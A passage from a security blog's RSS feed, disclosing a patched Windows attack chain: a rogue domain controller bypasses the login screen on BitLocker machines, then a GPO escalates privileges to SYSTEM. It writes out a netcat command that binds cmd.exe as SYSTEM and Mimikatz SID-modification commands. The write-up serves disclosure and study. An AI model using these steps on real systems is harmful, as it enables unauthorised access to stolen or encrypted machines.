<p>However <strong>User</strong> Configuration Policies are applied <strong>after a user is logged in</strong>, user's account is used to authenticated to the DC to retrieved the User Configuration Policies and the policies are either <strong>executed as the current logged-on user</strong> or as <strong>SYSTEM</strong>.</p>
<p>Now this last type of Policy is interesting because we know the password of the user as we reset it to our likings. (see Part 1)</p>
<p>Let's create a Scheduled Task GPO that will execute NetCat as SYSTEM and finally will connect to the listening NetCat service as a the current user.<br>
<img src="https://krbtgt.pw/content/images/2016/07/GPOSystem1-1.png" alt><br>
The &quot;<strong>Listen</strong>&quot; Scheduled task will simply run NetCat with the following command-line argument:</p>
<ul>
<li><strong>nc.exe -l -v -p 3333 -e cmd.exe</strong></li>
</ul>
<p>In the Security options you can select NT AUTHORITY\System as the user account that will be used to run this scheduled task as shown below.<br>
<img src="https://krbtgt.pw/content/images/2016/07/GPOSystem.png" alt></p>
<p>eThe &quot;<strong>Run</strong>&quot; Scheduled task will be simply connect to port 3333 using the following command-line argument:</p>
<ul>
<li><strong>nc.exe 127.0.0.1 3333</strong></li>
</ul>
<p>You run this scheduled task as the current logged on user.</p>
<h4 id="windows7">Windows 7</h4>
<p>Now that we have a GPO that will execute some Scheduled Tasks, let's see if it works right out of the box?<br>
Unless if there is some sort of trust validation implemented before the GPO is executed there is honestly no reason why this shouldn't work right?</p>
<p>Let's force a Group Policy Update on our Windows 7 client...</p>
<p><img src="https://krbtgt.pw/content/images/2016/07/Windows7System.png" alt></p>
<p><strong>GAME OVER! =)</strong></p>
<p>At this point I <strong>notified Microsoft</strong> (<em>November 25th 2015</em>) about this issue and they acknowledged (<em>January 27th 2016</em>) the problem and started working on a patch.</p>
<h4 id="sowhydiditwork">So why did it work?</h4>
<p>Windows 7 fails to validate if the DC from where the Group Policies are being applied is indeed a trusted DC.<br>
It is assumed that the user credentials are sufficient to acknowledge the trust relationship.<br>
In this attack all encrypted traffic remains intact and doesn't require any modification whatsoever.</p>
<h4 id="isthisreallynew">Is this really new?</h4>
<p>Early last year in March 2015 a security researcher called Luke Jennings from MWR Labs demonstrated how he could gain <strong>SYSTEM level privileges through a Man-in-The-Middle</strong> attack.<br>
<img src="https://krbtgt.pw/content/images/2016/07/arp-spoofing_normal.png" alt><br>
By modifiying the SMB calls he was able to execute his own malicious code to get higher privileges. Microsoft responded with two patches MS15-011 and MS15-014.</p>
<p>Jennings conclusion was the following:</p>
<blockquote>
<p>Even on Vista/2008 onwards, user settings group policy can be exploited <strong>if you know a user’s password</strong> to conduct a form of privilege escalation to gain SYSTEM on domain members. Microsoft have shown <strong>no intention</strong> thus far of providing a control <strong>to protect</strong> against this.</p>
</blockquote>
<p>More information about his findings can be found <a href="https://labs.mwrinfosecurity.com/blog/how-to-own-any-windows-network-with-group-policy-hijacking-attacks/">here.</a></p>
<h4 id="windows81and10">Windows 8.1 and 10</h4>
<p>We know that Microsoft was aware of the fact that group policies could be abused to gain SYSTEM privileges, so maybe ... they implemented some additional security features in newer versions of the Windows OS.</p>
<p>Let's take Windows 10 and simply do the same as we did in Windows 7 and force a group policy update.</p>
<p><img src="https://krbtgt.pw/content/images/2016/07/WIN10GPupdate_fail-1.png" alt></p>
<p>It didn't work :'(<br>
As you can see it does however say that the User Policy update was successful but still throws out an error during policy processing.</p>
<p>Let's review the event log as the error suggests for any hints.<br>
<img src="https://krbtgt.pw/content/images/2016/07/event_log-gpo.png" alt></p>
<p>Looking around on the internet for &quot;<strong>EventID 7016</strong>&quot; and &quot;<strong>ErrorCode 2</strong>&quot; didn't help me any further.<br>
Maybe there were any changes in the communication between the DC and the Windows 10 machine.</p>
<p>Let's compare the Windows 7 communication with the Windows 10 communication.</p>
<center>**LDAP Windows 7**</center>
Below you can see the basic LDAP operations performed when a group policy update is requested on Windows 7. 
Nothing out of the ordinary, basic LDAP operations such as  Bindrequests, BindResponse, SearchRequests and SearchResponse.
![](/content/images/2016/07/ldap-Windows7-1.png)
<center>**LDAP Windows 10**</center>
As you can see in the screenshot below there is a **new request** added to the LDAP calls. It is a SearchRequest LDAP operation that requests a lookup for the SID (***S-1-5-21-114261664-662940058-2894158534-1104***) of the current logged-on user on the client machine.
If you look closely you can also see that the response fails, because this **particular SID does not exist (NO_OBJECT error)** on our rogue DC.
<p><img src="https://krbtgt.pw/content/images/2016/07/ldap-Windows10.png" alt></p>
<p>So we need to tackle this by setting the correct SID with the corresponding user on our rogue DC. There are however some difficulties.<br>
If you are familiar with SIDs, you know that an SID of a domain user consists of a Domain Security Identifier (<strong>Domain SID</strong>) and a Relative Identifier (<strong>RID</strong>)<br>
In our case &quot;<em><strong>114261664-662940058-2894158534</strong></em>&quot; is the Domain SID and &quot;<em><strong>1104</strong></em>&quot; is the RID.<br>
Domain SIDs are randomly generated everytime a new Domain forest is created so matching it correctly is tricky. There are however multiple ways to still set it to the SID you want:</p>
<ul>
<li>Change Machine SID to the one you want before promoting Server to PDC of a new domain</li>
<li>Use SAMBA NT4 Server, change the SID, upgrade it to SAMBA AD-DC</li>
<li>Use commercial tools (SIDCHG)</li>
</ul>
<p>However these techniques are <strong>lengthy, complex and prone to errors</strong>.</p>
<p>On May 6th 2016 Mimikatz developer Benjamin Delpy (<a href="https://twitter.com/gentilkiwi">@gentilkiwi</a>) pushed a new version of Mimikatz with a new added module.<br>
<img src="https://krbtgt.pw/content/images/2016/07/mimikatz.png" alt></p>
<p>Mimikatz makes it possible to <strong>lookup, query, modify and add SIDs</strong> to various objects.</p>
<p>Let's change the SID of the user on our rogue DC to the one matching on the client.<br>
Run Mimikatz as Administrator and run the following commands:</p>
<ol>
<li><strong>privilege::debug</strong></li>
<li><strong>sid::patch</strong></li>
<li><strong>sid::modify /sam:[domainuser] /new:[new_sid]</strong></li>
</ol>
<p><u>NOTE: replace values between brackets accordingly</u><br>
<img src="https://krbtgt.pw/content/images/2016/07/mimikatz1.png" alt></p>
<p>Now that we have changed the SID of the user object on our rogue DC let's try and force a group policy update again.</p>
<ul>
<li><strong>gpupdate /target:user /force</strong></li>
</ul>
<p><img src="https://krbtgt.pw/content/images/2016/07/System.PNG" alt></p>
<p><strong>IT WORKS!! ^^</strong></p>
<p>Congratulations! Now you have the keys to the kingdom ;)</p>
<h4 id="ms16072cve20163223">MS16-072 / CVE-2016-3223</h4>
<p>After long <strong>8 months</strong> Microsoft released a patch for this vulnerability on the 14th of June 2016.<br>
And then this happened:<br>
<img src="https://krbtgt.pw/content/images/2016/07/ms16-072.png" alt></p>
<p>Microsoft still managed to break lots of Group Policy configurations around the world.<br>
The patch changes the behaviour of how GPOs are being retrieved.<br>
As previously mentioned user accounts were used to retrieve User Configuration policies, however after the patch the machine account is used to retrieve both the User and Computer Configuration policies.<br>
Microsoft forgot to mention that the Computer objects need to have read access in order to retrieve the Group Policy configuration files.<br>
More information about the issue can be found <a href="https://support.microsoft.com/en-us/kb/3163622">here.</a></p>
<h3 id="bypassingpatchms16014">Bypassing patch MS16-014</h3>
<p>Yes, you've read it right! There is <strong>still a way</strong> to bypass the Windows Login screen and bypass Authentication ;)<br>
<s>More details will be released <strong>soon</strong>!</s><br>
You can read the details <a href="https://blog.ahmednabeel.com/abusing-kerberos-to-ntlm-fallback-to-defeat-windows-authentication/">here</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[From zero to SYSTEM on full disk encrypted Windows system (Part 1)]]></title><description><![CDATA[Bypass Full Disk Encryption using Windows Authentication Bypass (CVE-2016-0049)  and gain SYSTEM privileges on a domain joined BitLocker encrypted machine]]></description><link>https://krbtgt.pw/from-zero-to-system-on-full-disk-encrypted-windows-system/</link><guid isPermaLink="false">5f98bfe752012b3f2882ad88</guid><category><![CDATA[Authentication Bypass]]></category><category><![CDATA[MS16-014]]></category><category><![CDATA[CVE-2016-0049]]></category><category><![CDATA[BitLocker]]></category><category><![CDATA[Full Disk Encryption]]></category><category><![CDATA[Windows]]></category><dc:creator><![CDATA[⠝⠁⠃⠑⠑⠇ ⠁⠓⠍⠑⠙ (Nabeel Ahmed)]]></dc:creator><pubDate>Wed, 10 Feb 2016 15:53:53 GMT</pubDate><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="intro">Intro</h2>
<p>Whether you want to protect the operating system components or your personal files, a Full Disk Encryption (FDE) solution allows you to keep track of the confidentiality and integrity. One of the most commonly used FDE solutions is Microsoft Bitlocker®, which due to its integration with the Trusted Platform Module (TPM) as well as the Active Directory environment makes it both user-friendly and manageable in a corporate environment.<br>
When the system is protected with a FDE solution, without a pre-boot password, the login or lock screen makes sure attackers with physical access are not able to gain access to the system.<br>
In this post we will explain how an attacker with physical access to an active directory integrated system (e.g. through stealing) is able to bypass the login or lock screen, obtain a clear-text version of the user’s password and elevate his privileges to that of a local administrator or SYSTEM. This can be accomplished via two security vulnerabilities which affects all Windows versions (from Vista to 10) and abusing a standard “security” feature.</p>
<p>These two vulnerabilities, discovered with the help of my colleague <a href="https://twitter.com/tgilis">Tom Gilis</a> were reported to Microsoft however only one vulnerability is patched at the time of writing (<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0049">CVE-2016-0049</a> / <a href="https://technet.microsoft.com/en-us/library/security/ms16-014.aspx">MS16-014</a>).<br>
The other one, which allows you to elevate your privileges to that of a local administrator or SYSTEM is still under investigation by Microsoft and is not yet disclosed here.<br>
Acknowledgement by Microsoft: <a href="https://technet.microsoft.com/en-us/library/security/mt674627.aspx">https://technet.microsoft.com/en-us/library/security/mt674627.aspx</a></p>
<h2 id="step1hibernationyourfriendlyneighbourhoodpassworddumper">Step 1 – Hibernation – Your friendly neighbourhood password dumper</h2>
<p>Speaking for myself, and probably a lot of other users, shutting down a laptop has become a thing of the past. In order to be able to rapidly start using your system when travelling from one place to another, we put it into sleep (or hibernation) mode, essentially putting all processes on hold to be easily resumed when needed.<br>
Although in order to resume your session after sleep or hibernation, you’ll have to enter your password on the lock screen (or at least I hope so), the system has your password stored somewhere in memory in order to resume the different processes. We want the system to dump the contents of the memory on disk so we can recover it later. Hibernation is there to the rescue, but we need to be able to force the system into hibernation, creating the <em>HIBERFIL.SYS</em>.<br>
Luckily, the default configuration of a laptop running Windows depicts going into hibernation if the battery hits a critical low. This feature, by default at set 5%, ensures you don’t lose any unsaved documents when your battery dies.<br>
<img src="https://krbtgt.pw/content/images/2016/02/forcehibernation-1.PNG" alt></p>
<p>So the first step, in case the laptop is running but put in sleep (or hibernation), is letting the battery die by playing the waiting game...<br>
Once we force the laptop into hibernation mode we reboot it and move to the next step.</p>
<h2 id="step2bypassingtheloginorlockscreen">Step 2 – Bypassing the login or lock screen</h2>
<p>Before we move on, we would like to give credit to <a href="https://twitter.com/ianhaken">Ian Haken</a>, who discovered the  original vulnerability affecting Windows Authentication. He presented his findings at BlackHat Europe 2015 which inspired us to investigate further.<br>
In order for the original attack to work, the following prerequisites  should be met:</p>
<ul>
<li>The target machine is member of a Windows domain</li>
<li>The domain user (the target) has previously logged into the machine and his password is cached locally</li>
<li>(Optional however pointless without) Full Disk Encryption without any pre-boot authentication (e.g. BitLocker  With TPM integration)</li>
</ul>
<p>If these conditions were met, an attacker needed to create a rogue Kerberos server with the targets user account’s password set to a value of choice and indicated as expired.<br>
Upon login attempt, Windows would then prompt the user to change the password before continuing.<br>
<img src="https://krbtgt.pw/content/images/2016/02/changepasswordprompt.png" alt><br>
<img src="https://krbtgt.pw/content/images/2016/02/N0xwX.jpg" alt><br>
<img src="https://krbtgt.pw/content/images/2016/02/hklUN.jpg" alt><br>
<img src="https://krbtgt.pw/content/images/2016/02/TrustWorkstationPrimaryDomainFailed.png" alt></p>
<p>Once the password change procedure is completed, the cached credentials on the machine are updated with the new password set by the attacker.<br>
Because the system is not able to establish a secure connection, the password is not updated on the Kerberos server but still allows the attacker to login when the system no longer has an active network connection (using the cached credentials)</p>
<p>A pretty straight forward attack but the vulnerability has been out there for years overlooked by many people.<br>
Now that the original vulnerability is clear, we want to explain how we managed to bypass this. (More  information about the original vulnerability can be found in Ian’s whitepaper  <a href="https://www.blackhat.com/docs/eu-15/materials/eu-15-Haken-Bypassing-Local-Windows-Authentication-To-Defeat-Full-Disk-Encryption-wp.pdf">here</a>.)<br>
The original patch which was rolled out by Microsoft (<a href="https://technet.microsoft.com/library/security/MS15-122">KB3105256 - Microsoft Security Bulletin MS15-122</a>) actually changes the flow of the password change feature. It first checks if there is a trust between the domain controller and the target machine before changing the password on the target machine.</p>
<p>We had to find a way to make the workstation believe the Kerberos server, in our case a rogue Windows domain controller with the same FQDN is a genuine one.<br>
In a normal situation, when a computer joins a domain a computer object is created in the active directory which holds various attributes from this system. One of those is the <em>Service-Principal-Name</em> (<a href="https://technet.microsoft.com/en-us/library/cc961723.aspx">SPN</a>) attribute which is used for mutual authentication with an instance of a service on the workstation.<br>
This SPN is the name by which a client uniquely identifies an instance of a service.<br>
Knowing that this information is used to establish mutual authentication we created a computer object with the name of our target machine (which can be easily found). We then moved on to change the <strong>servicePrincipalName</strong> attribute by adding the following values:</p>
<ul>
<li>HOST/<code>computername</code></li>
<li>HOST/<code>computername.domain</code></li>
</ul>
<p><img src="https://krbtgt.pw/content/images/2016/02/serviceprincipalname.PNG" alt><br>
Now follow the same procedure as before (change the user’s password and mark it as expired) and you will be able to change the change the cached password. Disconnect the system from the network and use the newly set password to bypass the login screen and gain full access to the system as the original user.<br>
Although the authentication has been bypassed, we still only have the (limited) privileges of the victim’s account (taking into consideration this is not an local administrator). This is where the next step comes in, in which we explain how you can obtain full local administrative privileges just by using standard Windows functionalities and thus not relying on any vulnerable installed software.</p>
<h2 id="step3privilegeescalationtosystem">Step 3 – Privilege escalation to SYSTEM</h2>
<p><s>At the time of writing, the vulnerability has not yet been patched by Microsoft and thus cannot be disclosed. Once more information can be safely shared, this post will be updated.</s><br>
Read it <a href="https://blog.ahmednabeel.com/from-zero-to-system-on-full-disk-encrypted-windows-system-part-2/">here.</a></p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>